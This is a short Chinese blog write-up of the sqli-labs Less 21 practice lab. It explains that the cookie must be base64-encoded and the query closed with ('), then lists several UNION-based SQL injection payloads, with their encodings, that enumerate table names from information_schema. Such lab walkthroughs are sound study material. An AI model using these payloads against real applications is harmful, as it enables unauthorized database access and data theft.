sqli labs less 21

最新推荐文章于 2024-04-30 22:07:29 发布

VIP文章三哥_DH

最新推荐文章于 2024-04-30 22:07:29 发布

阅读量197

点赞数

分类专栏： SQL注入文章标签：安全

本文链接：https://blog.csdn.net/xiaoxiaoqiang_/article/details/104645491

版权

这题与less 20 相似，只不过cookie需要经过base64 编码之后才能注入。
这一题就是比较麻烦其他没啥。还有就是（’ ‘) 闭合语句。
admin2’） union select 1,2,3 **# base64编码为：**YWRtaW4yJykgdW5pb24gc2VsZWN0IDEsMiwzICMg

aaa’) union select 1,2,3 # **base64 编码为：**YWFhJykgdW5pb24gc2VsZWN0IDEsMiwzICM=

aaa’) union select 1,2,table_name from information_schema.tables where table_schema=database() # base64编码为：
YWFhJykgdW5pb24gc2VsZWN0IDEsMix0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSAj

aaa’) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() # base64编码为：
YWFhJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpICM=